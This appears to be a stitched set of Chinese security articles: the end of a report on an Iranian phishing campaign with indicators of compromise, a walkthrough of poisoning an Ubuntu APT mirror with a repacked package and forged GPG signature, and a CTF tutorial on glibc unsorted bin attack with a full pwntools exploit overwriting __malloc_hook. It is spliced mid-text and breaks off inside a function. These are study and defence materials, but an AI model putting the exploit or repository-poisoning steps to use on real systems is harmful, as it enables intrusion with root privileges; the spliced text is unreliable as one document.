黑客在电子邮件正文中并不是文本，而是使用图片来绕过谷歌的安全检测和反网络钓鱼系统。为此，攻击者还使用第三方服务（如Firefox屏幕截图）来对图片进行托管。
图5：虚假警报图片示例
### 隐藏的跟踪图片
攻击者在邮件正文中单独隐藏了其他图片，以便在受害者打开电子邮件时收到通知。通过这种技巧，黑客可以在目标打开电子邮件并点击网络钓鱼链接后立即采取行动。
## 钓鱼页面
除了恶意邮件和钓鱼链接之外，攻击者还在定制化平台创建相应条目来存储受害者的凭据信息。我们还注意到他们针对Google和Yahoo!，设计了PC和移动端的钓鱼页面，可能在将来进行下一系列的攻击。
在最近的攻击中，攻击者使用了一种有趣的技术，一旦受害者输入了用户名和密码，攻击者将立即对这些凭据进行验证，如果信息正确无误，那么他们就会要求提供2步验证码。
换句话说，他们会在自己的服务器上实时验证受害者的用户名和密码，即使启用了2步身份验证（例如短信，验证应用或one-tap），他们也可以欺骗目标并窃取该信息。
图6至图9展示了一些由伊朗黑客发送给目标的网络钓鱼页面。
图6 ：获取Gmail帐户密码的虚假页面
图7:获取Gmail 2步验证码的虚假页面
图8:获取Yahoo!账户密码的虚假页面
图9:获取Yahoo!2步验证码的虚假页面
## 追踪
通过我们对这些网络钓鱼攻击的分析可以得知：黑客已经注册了大量的域名。根据最新的调查结果显示，在相对较短的时间内（2018年9月至11月），黑客就已经使用了20多个域名。
在撰写本文时，用于网络钓鱼攻击的域名数量有所增加。通过对这些服务器更深入的调查，我们揭示了在最近的攻击中这些域名是如何被使用的。
图10:网络钓鱼活动中攻击者所用域名关联分析
根据相关技术分析，我们认为参与此活动的攻击者通过虚拟专用网络（VPN）和代理，使用荷兰和法国IP地址来隐藏自己。尽管如此，我们还是通过足够的细节，找到了攻击者的真实IP地址位于伊朗。（IP：89.198.179
[。] 103和31.2.213 [。] 18）
此外，这些攻击中对域名和服务器的命名方式，所用的技巧，针对的目标都与拥有伊朗政府背景的黑客组织——Charming
Kitten非常相似。因此，我们认为这是Charming Kitten组织的伊朗黑客发起了新一轮的网络攻击，并且将以色列公民和美国公民作为重点目标。
## 结论
网络钓鱼攻击是伊朗黑客窃取数据最常用的手段，但对于此次活动，最应该重视的是它的发生时间。这次攻击活动在2018年11月4日前几周开始进行，当时美国正对伊朗实施了新一轮的制裁。因此该运动试图对他国政治人士以及对伊朗实施经济和军事制裁的当局进行渗透，来窃取信息。
换句话说，这群受伊朗政府支持的黑客根据伊朗政府的政策和国际利益需求来选择目标，对其造成影响。
因此，我们向科技公司，政府官员，社会人士以及互联网用户提出了一系列建议，来防御此类威胁。
对科技公司，政府人员的建议：
* 停止使用基于纯文本的2步身份验证。
* 使用安全密钥（如YubiKey）对个人敏感操作进行2步身份验证。
* 不使用单击登录验证。
对社会人士及海外伊朗人士：
* 及时了解网络钓鱼威胁活动，建议使用Yubikey等安全密钥进行2步身份验证并激活Google的Advanced Protection Program。
* 始终使用公司邮箱收发机密信息，而不是个人邮箱 。根据公司邮箱策略，限制从工作网络外部接收电子邮件。例如，G Suite允许管理员拒收来自未授权地址或域名的电子邮件。
* 建议在帐户中使用Google Authenticator等移动应用进行2步身份验证。
对互联网用户的建议：
* 不点击未知链接。要查看帐户中的可疑警报或更改密码，可以直接从电子邮件转到“我的帐户”进行设置，而不是点击任何链接。
* 使用PGP对敏感邮件进行加密，防止黑客窃取邮件信息。
* 不将敏感信息以纯文本形式存储在邮箱中。
* URL域名之前的HTTPS只是HTTP协议的安全扩展，并不意味着网站的内容是安全的或可信的 。要知道许多钓鱼网站也使用了HTTPS。
## IOCs
* 178.162.132[.]65
* 190.2.154[.]34
* 190.2.154[.]35
* 190.2.154[.]36
* 190.2.154[.]38
* 46.166.151[.]211
* 51.38.87[.]64
* 51.38.87[.]65
* 51.68.185[.]96
* 51.38.107[.]113
* 95.211.189[.]45
* 95.211.189[.]46
* 95.211.189[.]47
* 213.227.139[.]148
* 54.37.241[.]221
* 54.38.144[.]250
* 54.38.144[.]251
* 54.38.144[.]252
* 85.17.127[.]172
* 85.17.127[.]173
* 85.17.127[.]174
* 85.17.127[.]175
* 89.198.179[.]103
* 31.2.213[.]18
* accounts-support[.]services
* broadcast-news[.]info
* broadcastnews[.]pro
* com-identifier-servicelog[.]info
* com-identifier-servicelog[.]name
* com-identifier-userservicelog[.]com
* confirm-session-identification[.]info
* confirm-session-identifier[.]info
* confirmation-service[.]info
* customer-recovery[.]info
* customize-identity[.]info
* document-share[.]info
* document.support-recoverycustomers[.]services
* documentofficupdate[.]info
* documents.accounts-support[.]services
* documentsfilesharing[.]cloud
* email-delivery[.]info
* mobile-sessionid.customize-identity[.]info
* mobiles-sessionid.customize-identity[.]info
* my-scribdinc[.]online
* myyahoo.ddns[.]net
* notificationapp[.]info
* onlinemessenger.com-identifier-servicelog[.]name
* podcastmedia[.]online
* recoveryusercustomer[.]info
* session-management[.]info
* support-recoverycustomers[.]services
* continue-session-identifier[.]info
* mobilecontinue[.]network
* session-identifier-webservice.mobilecontinue[.]network
* com-messengersaccount[.]name
* invitation-to-messenger[.]space
* confirm-identification[.]name
* mobilecontinue[.]network
* mobile.confirm-identification[.]name
* services.confirm-identification[.]name
* mobile-messengerplus[.]network
* confirm.mobile-messengerplus[.]network
* com-messengercenters[.]name
* securemail.mobile-messengerplus[.]network
* documents.mobile-messengerplus[.]network
* confirm-identity[.]net
* identifier-sessions-mailactivityid[.]site
* activatecodeoption.ddns[.]net
* broadcastpopuer.ddns[.]net
* books.com-identifier-servicelog[.]name
* mb.sessions-identifier-memberemailid[.]network
* sessions-identifier-memberemailid[.]network
* sessions.mobile-messengerplus[.]network
* confirm-verification-process[.]systems
* accounts.confirm-verification-process[.]systems
* broadcastnews.ddns[.]net
* account-profile-users[.]info
* us2-mail-login-profile[.]site
* us2.login-users-account[.]site
* login-users-account[.]site
* live.account-profile-users[.]info
* signin.account-profile-users[.]info
* aol.account-profile-users[.]info
* users-account[.]site | 社区文章 |
作者：
**[Saviour](https://mp.weixin.qq.com/s?__biz=MzUzNzAzNzUzMA==&mid=2247483696&idx=1&sn=b31358968568dd6d99e39b3caf3e2fde)**
这个APT源污染，需要同步下载大量的源服务器文件，我下完之后大约220多G。
系统：Ubuntu 16.04 LTS
硬盘：500G
软件：apt-mirror
路径：/service/ubuntu/mirror
木马：sudo apt-get install slurm
#### 第一个阶段：
为了测试我们将原版的slurm修改为我们测试之后的版本，用自定义好的测试文件将原版的slurm进行替换；
按照如下命令进行操作，如图：
图一（解压缩slurm deb包）
提示：将生成好的测试文件替换后，执行md5sum slurm计算md5值，将原先的slurm值替换掉，然后再使用dpkg打包deb
图二（计算替换后的slurm MD5值）
图三（替换DEBIAN目录下md5sum文件中的slurm值）
图四（dpkg进行slurm重打包 ）
图五（将生成好的slurm包进行本地安装测试）
#### 第二个阶段：
这个也是一个非常漫长的过程，需要同步APT源到本地，大约200多G。
同步完成之后，使用Apache搭建网站，并开启列目录功能，按照如下内容进行配置：
图六（修改配置文件，设置网站目录，并开启列目录功能）
图七（开启之后的APT源列目录）
进行APT源测试，执行sudo apt-get update，同步本地APT源，看是否正常。
图八（同步本地APT源）
图九（同步本地APT源成功，无报错）
图十（测试通过本地APT源进行安装软件成功）
#### 第三个阶段：
这个阶段将分析APT源软件的安装方式，研究一个完整的APT软件安装过程及过程中调用的文件，并试图将调用的文件内容进行特定修改，看APT是否能再次执行成功。
首先我们执行sudo apt-get install
slurm进行原版软件安装，然后分析Apache访问日志，默认网站日志路劲：/etc/apache2/access.log
通过查看APT源网站访问，发现在初始APT源安装软件的时候，APT下载过InRelease、Packages.xz等文件；
图十一（APT访问InRelease签名文件）
图十二（APT访问Packages.xz文件）
InRelease文件是一个gpg明文签名文件，里面包含了Packages.xz等md5、sha1、sha256、文件大小等校验值。
图十三（InRealse文件）
Packages.xz等文件（包括其他Packages开头文件），里面包含了其对应pool目录下的deb文件md5、sha1、sha256、文件大小等校验值。
图十四（Packages.xz文件）
通过对gpg进行了解，发现gpg可以进行签名伪造，比如ubuntu官方的签名邮箱为[email protected]，那么我们也可以使用官方签名的邮箱重新进行申请，获得一个签名key。
图十五（gpg key）
由于默认官方对Release文件进行了签名，那么我们在修改Release文件后必须对他进行重新签名，生成我们自己的Release文件（不然会在APT更新时报错）。
这次实验会用到的gpg命令如下：
gpg命令解析
gpg --gen-key 创建一个key
gpg --list-keys 查看key列表
gpg --armor --output public-key.txt --export [用户ID] 导出公钥
gpg --armor --output private-key.txt --export-secret-keys 导出私钥
gpg --keyserver hkp://keys.gnupg.net --send-keys [用户ID] 上传公钥到服务器
gpg --fingerprint [用户ID] 验证公钥
gpg --clearsign test.txt 明文签名文件
我使用的是Git Windows客户端进行gpg key 生成，然后将生成的key导入ubuntu中
图十六（gpg密钥生成）
默认Windows gpg密钥生成路径为：C:\Users[用户名].gnupg
图十七（gpg密钥Windows目录）
将.gnupg文件夹导入ubuntu用户目录下，路仅为：/home/[用户名]
图十八（gpg密钥ubuntu目录）
#### 第四个阶段：
将我们重打包的slurm
deb文件，md5、sha1、sha256、大小等信息收集起来，这里我们需要改两个文件，一个是Packages.xz、一个是InRealse文件，步骤如下：
将slurm文件md5、sha1、sha256、大小写入Packages.xz解压后文件对应的字段中
图十九（修改slurm对应的值）
改完slurm文件后，对Packages进行xz压缩，重新计算Packages.xz的md5、sha1、sha256、文件大小值，将获得的值写入Release文件对应的字段中。
图二十（修改Release对应的md5值）
图二十一（修改Release对应的sha1值）
图二十二（修改Release对应的sha256值）
改完后我们使用刚注册好的gpg key对Release文件进行明文签名，生成Release.asc文件
图二十三（对Release文件进行签名）
图二十四（签名后的Release文件）
#### 最后阶段：
修改完成后，将生成的Release.asc改名为InRelease，并覆盖原先的InRelease文件，执行sudo apt-get
update，看是否更新正常，如果报错请导入证书文件，如果报hash不匹配，有可能是你的Release里面的值或文件大小填写错误，填写正确后重新对Release文件进行签名即可，并进行覆盖，重新执行sudo
apt-get update，无误后进行本次的最后一步sudo apt-get install slurm。
导入证书：
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys [证书公钥ID]
**成功结果：**
APT成功安装了我们自定义的APT源deb文件，这就意味着，此刻如果我安装的是一个被替换过之后的恶意文件，那么我的主机就被成功入侵了，由于有些用户喜欢使用root用户执行的apt命令，那么就导致恶意文件会以最高权限运行，导致服务器彻底沦陷。
图二十五（自定义slurm文件成功被安装）
**实验目的：**
1、 APT源是可以篡改的。 2、 警惕不明的第三方源； 3、 官方源也未必完全可信；
**实验说明：**
此次实验不完全针对APT问题，也不排除YUM源等也存在此问题。
* * * | 社区文章 |
# 深入理解unsorted bin attack
## 前言
`unsorted bin
attack`作为一种久远的攻击方式常常作为其他攻击方式的辅助手段，比如修改`global_max_fast`为一个较大的值使得几乎所有大小的chunk都用`fast
bin`的管理方式进行分配和释放，又或者修改`_IO_list_all`来伪造`_IO_FILE`进行攻击。在上述攻击的利用过程中我们实际上并不需要对`unsorted
bin`的分配过程有太多的了解。最近复现以前比赛未能完成的题目做到了`pwnhub
2019万圣节公开赛`的`classic_revenge`，其中非常巧妙地利用了`unsorted bin
attack`。联想去年`黄鹤杯`的一道题目，决定总结一下`unsorted bin attack`中容易被忽略的部分。
## 源码分析
`unsorted bin`也是以链表的方式进行组织的，和`fast bin`不同的是其分配方式是`FIFO`，即一个chunk放入`unsorted
bin`链时将该堆块插入链表头，而从这个链取堆块的时候是从尾部开始的，因此`unsorted bin`遍历堆块的时候使用的是`bk`指针。
从下面源码可以看出首先取链表尾部的chunk记作`victim`，倒数第二个chunk记作`bck`，首先要对`victim`的`size`位进行检查，这个约束比较宽松，计算得到chunk实际大小。一个代码块是假如我们申请的chunk属于`small
bin`的范围，且`last remainder`是`unsorted
bin`的唯一一个chunk时，我们优先使用这个块，如果该块满足条件则对其进行切割和解链操作。
如果上述条件不满足，则将`victim`从链中取出之后放到合适的链中或返回给用户。其中`unsorted_chunks (av)->bk =
bck;bck->fd = unsorted_chunks (av);`是`unsorted bin
attack`产生的原因，一旦我们绕过之前的检查到达这里，在可以控制`victim->bk`即`bck`的情况下我们可以往`bck->fd`写入`unsorted_chunks(av)`即`*(bck+0x10)=unsorted(av)`。
继续走，下面一个代码块是指如果我们请求的`nb`同`victim`的大小恰好吻合，就直接返回这个块给用户。
如果之前的条件都不满足，意味着目前的`victim`不能满足用户的需求，需要根据其`size`放入`small bin`或`large
bin`的链，其中在后者实现中存在`large bin attack`，由于同本文无关就不再进一步展开，最后是`unlink`将`victim`彻底解链。
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
//size check
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (victim->size > av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);
size = chunksize (victim);
/*
If a small request, try to use last remainder if it is the
only chunk in unsorted bin. This helps promote locality for
runs of consecutive small requests. This is the only
exception to best-fit, and applies only when there is
no exact fit for a small chunk.
*/
//last remainder first
if (in_smallbin_range (nb) &&
bck == unsorted_chunks (av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE))
{
/* split and reattach remainder */
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
//cut and put the remained part back to unsorted list
unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
av->last_remainder = remainder;
remainder->bk = remainder->fd = unsorted_chunks (av);
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
//return to user
return p;
}
/* remove from unsorted list */
//unsorted bin attack
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
/* Take now instead of binning if exact fit */
if (size == nb)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
/* place chunk in bin */
if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
{
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert ((fwd->size & NON_MAIN_ARENA) == 0);
while ((unsigned long) size < fwd->size)
{
fwd = fwd->fd_nextsize;
assert ((fwd->size & NON_MAIN_ARENA) == 0);
}
if ((unsigned long) size == (unsigned long) fwd->size)
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
#define MAX_ITERS 10000
if (++iters >= MAX_ITERS)
break;
}
## pwnhub 2019 公开赛 classic_revenge
### 前言
这道题目在比赛的时候最先放出的附件有些问题，可以leak出栈地址，进而产生非预期解，更新附件之后再无新解，在review的时候我也受分配次数限制所恼，但又想学习作者提到的新的攻击方式，因此手动`patch`了分配的次数上限，然后就可以愉快的分配/释放了，原题是限制在`10`次以内完成攻击，有复现成功的大佬可以留言让俺学习一下。
### 程序分析
checkseck可以看到程序开启了所有常见保护。
程序有三个功能,分别是`Add`、`Delete`和`Show`
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
char choice; // [rsp+3h] [rbp-3Dh]
int size; // [rsp+4h] [rbp-3Ch]
void *buf; // [rsp+8h] [rbp-38h]
char s; // [rsp+10h] [rbp-30h]
unsigned __int64 v7; // [rsp+38h] [rbp-8h]
v7 = __readfsqword(0x28u);
Init();
memset(&s, 0, 0x10uLL);
write(1, "welcome to ziiiro's classical heap quiz\n", 0x28uLL);
while ( 1 )
{
while ( 1 )
{
read(0, &choice, 1uLL);
if ( choice != 2 )
break;
Free();
}
if ( choice == 3 ) // show
{
if ( !dword_202040 )
{
dword_202040 = 1;
get_input1((__int64)&s, 0x10);
buf = xxtea((__int64)&s, 0x10LL, (__int64 *)key, (__int64)&size);
write(1, buf, size);
}
}
else if ( choice == 1 )
{
Add(0LL, (__int64)&choice);
}
}
}
`Add`可以分配`[0,0xff]`大小的chunk,并自动分配一个`0x10`大小的`node`，`node`的前八字节用户可写，后八字节存储`chunk`地址(这里原题分配次数0x55->9)
__int64 __fastcall Add(__int64 a1, __int64 a2)
{
__int64 result; // rax
int count; // [rsp+0h] [rbp-10h]
int size; // [rsp+4h] [rbp-Ch]
void *chunk_addr; // [rsp+8h] [rbp-8h]
void *chunk_addr2; // [rsp+8h] [rbp-8h]
result = (unsigned int)dword_20203C;
if ( dword_20203C <= 0x55 )
{
count = dword_20203C;
chunk_addr = malloc(0x10uLL);
if ( !chunk_addr )
err();
qword_202060[count] = chunk_addr;
read(0, (void *)qword_202060[count], 8uLL);
size = read_int();
if ( size <= 0 || size > 0xFF )
err();
chunk_addr2 = malloc(size);
if ( !chunk_addr2 )
err();
*(_QWORD *)(qword_202060[count] + 8LL) = chunk_addr2;
read(0, *(void **)(qword_202060[count] + 8LL), size);
result = (unsigned int)(dword_20203C++ + 1);
}
return result;
}
`Delete`函数有`double free`，只会释放`chunk`且不清空bss上的`node`地址。
void Free()
{
int idx; // [rsp+Ch] [rbp-4h]
idx = read_int();
if ( idx >= 0 && idx <= 85 )
{
if ( qword_202060[idx] )
free(*(void **)(qword_202060[idx] + 8LL));
}
}
`Show`函数将输入用`xxtea`加密后输出，逆向可以看到密钥就放在`bss`上，注意这里在处理数据的时候用了一次`memcpy`拷贝了`28`字节的数据进行加密，而我们输入的长度为`0x10`,这里会多泄露出一些栈上的数据，gdb调试可以看到是程序加载基址相关的一个地址，因此我们可以计算得到程序加载基址。
_DWORD *__fastcall HandleData(const void *stack_addr, size_t input_sz, int One, size_t *stack_addr2)
{
signed __int64 v4; // rax
size_t v6; // rax
size_t *stack_addr2_1; // [rsp+0h] [rbp-30h]
size_t n; // [rsp+10h] [rbp-20h]
_DWORD *dest; // [rsp+20h] [rbp-10h]
size_t nmemb; // [rsp+28h] [rbp-8h]
size_t nmemba; // [rsp+28h] [rbp-8h]
stack_addr2_1 = stack_addr2;
if ( One )
{
n = input_sz | 8; // 0x18
if ( ((unsigned __int8)input_sz | 8) & 3 )
v4 = (n >> 2) + 1;
else
v4 = n >> 2;
nmemb = v4; // 6
dest = calloc(v4 + 1, 4uLL); // 7 * 4
if ( !dest )
return 0LL;
dest[nmemb] = n; // 最后一个位置放sz
*stack_addr2_1 = nmemb + 1; // 7
memcpy(dest, stack_addr, n); // 越界拷贝28
}
else
{
if ( input_sz & 3 )
v6 = (input_sz >> 2) + 1;
else
v6 = input_sz >> 2; // 4
nmemba = v6;
dest = calloc(v6, 4uLL); // 4*4
if ( !dest )
return 0LL;
*stack_addr2_1 = nmemba; // 4
memcpy(dest, stack_addr, input_sz); // copy 0x10 key
}
return dest;
}
/*
0000000000001538 6D global_key db 6Dh ; m ; DATA XREF: .data:key↓o
.rodata:0000000000001539 CC db 0CCh
.rodata:000000000000153A 54 db 54h ; T
.rodata:000000000000153B 68 db 68h ; h
.rodata:000000000000153C 0E db 0Eh
.rodata:000000000000153D 7D db 7Dh ; }
.rodata:000000000000153E BB db 0BBh
.rodata:000000000000153F A4 db 0A4h
.rodata:0000000000001540 8F db 8Fh
.rodata:0000000000001541 8F db 8Fh
.rodata:0000000000001542 0B db 0Bh
.rodata:0000000000001543 66 db 66h ; f
.rodata:0000000000001544 A5 db 0A5h
.rodata:0000000000001545 29 db 29h ; )
.rodata:0000000000001546 48 db 48h ; H
.rodata:0000000000001547 71 db 71h ; q
*/
### 漏洞利用
首先提一下非预期，泄露出栈地址之后可以用`fast bin
attack`劫持堆块到栈上，劫持的地址选择`read`函数的返回地址所在栈地址前的某个包含`0x7f`数据的地方，进而可以修改`read`函数返回地址部分写到`write(1/16)`，泄露出程序加载基址(原附件没有给程序基址)，再往后可以用相同方式劫持这个返回地址，用rop泄露出`libc`基址，修改bss上的`Add限制次数`，最后`fast
bin
attack`改`__malloc_hook`为`one_gadget`，详情可以参见[v1ct0r->万圣节Pwnhub一道题](https://gdufs-king.github.io/2020/01/03/Pwnhub%E4%B8%80%E9%81%93%E9%A2%98/)
预期的解法是`House of Roman`，这种攻击方式一般是存在`UAF`而无法泄露`libc`地址时使用的，其攻击原理及示例可以参见[House of
Roman](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/house_of_roman-zh/)。我简单概括一下这种攻击手段的一般思路。
1. 释放一个`unsorted bin`ub，使用堆溢出或者off-by-one修改其size为`0x71`
2. 释放两个大小为0x70的chunk1和chunk2，部分写chunk2的fd为`ub`将其链入`fastbin[0x70]`
3. `UAF`部分写`ub->fd`为`__malloc_hook-0x23(fake_chunk)`
4. 分配三个0x70大小的chunk即可得到`__malloc_hook-0x23`
5. unsorted bin attack修改`__malloc_hook`为`main_arena+88`
6. `Edit __malloc_hook(partial overwrite)`为`one_gadget`
这种攻击方式需要爆破`12bit`，在无法泄露libc的时候以此来绕过`ALSR`。
然而仔细研究`House of Roman`可以发现我们需要有一个`Edit`功能，用以在`unsorted bin
attack`之后部分写`__malloc_hook`，这个功能本题并未实现，然而我们是有办法在`unsorted bin
attack`之后得到`—__malloc_hook`并直接部分写的。
再仔细观察一下源码会发现`unsorted
bin`遍历是一个循环，在我们第一轮找到的`victim`大小不合适时会继续依循`bk`指针向后寻找的，我们将第一个`unsorted
bin`的`bk`改为`__malloc_hook-0x10`，再在`__malloc_hook-8`处布置一个size，这个size正为用户所求，则在第一轮的初步解链过程中会触发`unsorted
bin
attack`改`(__malloc_hook-0x10)->fd`为`main_arene+88`，因此时第一个`victim`的size不满足要求，会找到`__malloc_hook-0x10`这个伪造的chunk，如果其size位满足要求，则直接返回给用户，故我们可以得到`__malloc_hook`。
此外，在第二轮将这个chunk返回给用户前同样有一个往`(__malloc_hook-0x10)->bck`的0x10偏移处写值的操作，因此我们要在`__malloc_hook+8`处布置一个`可写地址`，由于之前我们泄露得到了程序加载地址，这里填个bss地址即可。
最后，整理一下完整的攻击链(下面有几个关键步骤的调试截图供大家对比(关闭地址随机化`echo 0 >
/proc/sys/kernel/randomize_va_space`))：
1. 多次分配`0x10`的块并释放，这样之后分配`node`都是走之前的fast bin，不会影响后面的`chunk布局`
2. 使用fast bin attack修改一下原本为`0x30`大小的chunk的size为`0x141`，构造`overlapping chunk`
3. 释放一个块到`unsorted bin`，记作ub，通过2中的这个块释放又分配可以把`ub`的size改为`0x71`，fd部分写为`__malloc_hook-0x23`
1. `double free`两个大小为`0x70`的块，部分写fd为`ub`
2. 连续分配四个0x70的堆块，在第四次分配中我们得到了`__malloc_hook-0x23`，改`__malloc_hook-8`为`0xa1`，改`__malloc_hook+8`为`.bss`;第三次分配中我们可以根据堆块错位改`unsorted bin`的`bk`为`_malloc_hook-0x10`
3. 分配大小为`0xa0`的块，此时`unsorted bin`的大小为`0x90`不满足要求而我们`__mlaooc_hook-8`的`size`为0xa1，故返回`__malloc_hook`进而可以部分写为`one_gadget`
### exp.py
#coding=utf-8
from pwn import *
import commands
import base64
r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)
context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./classic_revenge')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./classic_revenge')
else:
libc = ELF('./x64_libc.so.6')
p = remote('f.buuoj.cn',20173)
def decrypt(v,n,key):
DELTA = 0x9E3779B9
n = n-1
z = v[n]
y = v[0]
q = 6 + 52 // (n + 1)
sum1 = (q * DELTA) & 0xffffffff
while (sum1 != 0):
e = sum1 >> 2 & 3
for p in xrange(n, 0, -1):
z = v[p - 1]
v[p] = (v[p] - ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum1 ^ y) + (key[p & 3 ^ e] ^ z))) & 0xffffffff
y = v[p]
z = v[n]
v[0] = (v[0] - ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum1 ^ y) + (key[0 & 3 ^ e] ^ z))) & 0xffffffff
y = v[0]
sum1 = (sum1 - DELTA) & 0xffffffff
return v
def Add(size,content,name=p64(0x21)):
sleep(0.01)
p.send('\x01')
sleep(0.01)
p.send(name)
sleep(0.01)
p.sendline(str(size))
sleep(0.01)
p.send(content)
def Show(content):
sleep(0.01)
p.send('\x03')
sleep(0.01)
p.send(content)
def Delete(index):
sleep(0.01)
p.send('\x02')
sleep(0.01)
p.sendline(str(index))
def Dec(enc,size):
rounds = 6 + 52 / n
DELTA = 0x9E3779B9
sum1 = (rounds*DELTA) & 0xffffffff
y = enc[0] & 0xffffffff
while(rounds>0):
e = (sum1 >> 2) & 3
for i in xrange(n,0,-1):
z = enc[i-1] & 0xffffffff
enc[i] -= (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum1^y) + (key[(i&3)^e] ^ z)));
enc[i] &= 0xffffffff
y = enc[i]
z = enc[n-1] & 0xffffffff
enc[0] -= (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum1^y) + (key[(i&3)^e] ^ z)))
enc[0] &= 0xffffffff
y = enc[0]
sum1 -= DELTA
sum1 &= 0xffffffff
rounds -= 1
return enc
def exp():
#leak libc
p.recvuntil("welcome to ziiiro's classical heap quiz\n")
v = list()
Show('a'*0x20)
for i in range(7):
v.append(u32(p.recvn(4)))
k = [0x6854CC6D,0x0A4BB7D0E,0x660B8F8F,0x714829A5]
n = 0x7
h = decrypt(v,n,k)
addr = h[4]+(h[5]<<32)
print hex(addr)
code_base = addr - 0x14b0
log.success("code base => " + hex(code_base))
#fastbin for __malloc_hook
for i in range(0x18):
Add(0x10,'0')
for i in range(0x18):
Delete(i)
#start from 24
Add(0x38,p64(0x31)*7)#24
Add(0x28,p64(0x21)*5)#25->change to 0x141
Add(0x28,p64(0x31)*5)#26
Add(0x28,p64(0x31)*5)#27
Add(0x88,p64(0x21)*17)#28
Add(0x68,p64(0x21)*17)#29
Add(0x68,p64(0x21)*13)#30
Add(0x28,p64(0x31)*5)#31
Add(0xc0,p64(0x31)*24)#32
Delete(27)
Delete(26)
Delete(27)
Add(0x28,'\xb0')#33
Add(0x28,'16')#34
Add(0x28,'17')#35
Add(0x28,p64(0)+p64(0x141))#36
Delete(28)
Delete(25)
Add(0xa0,p64(0x21)*16+p64(0)+p64(0x71)+'\xed\x1a')#37
Delete(30)
Delete(29)
Delete(30)
Add(0x68,'\x50')#38
Add(0x88,'\xed\x1a')
Add(0x68,p64(0x21)*2+p64(0x90)+p64(0x20)+p64(0x21)*9)
Add(0x68,p64(0x21)*2+p64(0x90)+p64(0x20)+p64(0x21)*9)
Add(0x68,p64(0x21)*2+p64(0)+p64(0x91)+p64(0)+'\x00')
Add(0x68,'\x00'*(0x13-8)+p64(0xa1)+p64(0)+p64(code_base+0x202000))
#Add(0x98,'\x16\22\xa5')
Add(0x98,'\xa4\xd2\xaf')
gdb.attach(p)
Delete(0)
Delete(0)
#unsorted bin attack
p.interactive()
exp()
## 2019武汉"黄鹤杯" note_three
### 前言
这个比赛是去年的，跟着`e3pem`学长学到了更有趣的`unsorted bin attack`的利用。
### 程序分析
程序没开`PIE`，且为`Partial RELRO`，依然是`glibc 2.23`下的利用。
程序只有两个功能，`new`和`edit`，其中`new`可以分配`[0,0x90]`大小的`chunk`。
`new`函数读取用户输入到`byte_6020C0`，使用`strdup`来分配堆块，在`byte_6020C0+0x100`之后的空间存储`chunk_addr`及`size`。这里分配大小是由输入的长度决定的，而不是开始输入的`size`，因此在`Edit`里存在堆溢出。
int new()
{
int result; // eax
int v1; // [rsp+8h] [rbp-8h]
int v2; // [rsp+Ch] [rbp-4h]
result = read_int();
v1 = result;
if ( result != -1 )
{
printf("size: ");
result = input_number();
v2 = result;
if ( result >= 0 && result <= 0x90 )
{
*(_QWORD *)&byte_6020C0[16 * v1 + 0x100] = MyMalloc(result);
result = v2;
*(_QWORD *)&byte_6020C0[16 * v1 + 0x108] = v2;
}
}
return result;
}
__int64 edit()
{
__int64 result; // rax
int v1; // [rsp+Ch] [rbp-4h]
result = read_int(); // idx没有检查
v1 = result;
if ( (_DWORD)result != -1 )
{
result = *(_QWORD *)&byte_6020C0[16 * (signed int)result + 0x100];
if ( result )
{
printf("content: ");
result = get_input(*(void **)&byte_6020C0[16 * v1 + 0x100], *(_QWORD *)&byte_6020C0[16 * v1 + 0x108]);
}
}
return result;
}
char *__fastcall MyMalloc(unsigned int size)
{
